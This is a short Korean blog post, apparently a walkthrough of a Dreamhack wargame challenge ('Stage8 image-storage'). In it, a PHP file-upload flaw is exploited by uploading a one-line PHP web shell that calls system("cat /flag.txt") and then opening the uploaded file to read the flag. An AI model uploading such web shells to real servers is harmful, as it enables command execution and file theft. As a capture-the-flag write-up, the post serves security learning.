Dreamhack/Web Hacking

Stage8 image-storage

오호츠크해 기단 2022. 8. 26. 23:30
728x90

php로 작성된 파일 저장 서비스에서 파일 업로드 취약점을 이용해서 플래그를 획득하는 문제이다.

Upload 탭에 들어가면 아래와 같은 화면이 뜬다.

flag가 존재하는 /flag.txt 경로로 이동하는 command를 실행하는 php 코드를 작성해서 업로드할 것이다.

cat: 파일 내용 출력

<?php
	system("cat /flag.txt")
?>

파일을 업로드 해주었다.

파일 업로드 후 리스트에 들어가면 업로드한 파일을 확인할 수 있다.

위 파일을 누르면 플래그 확인 가능!!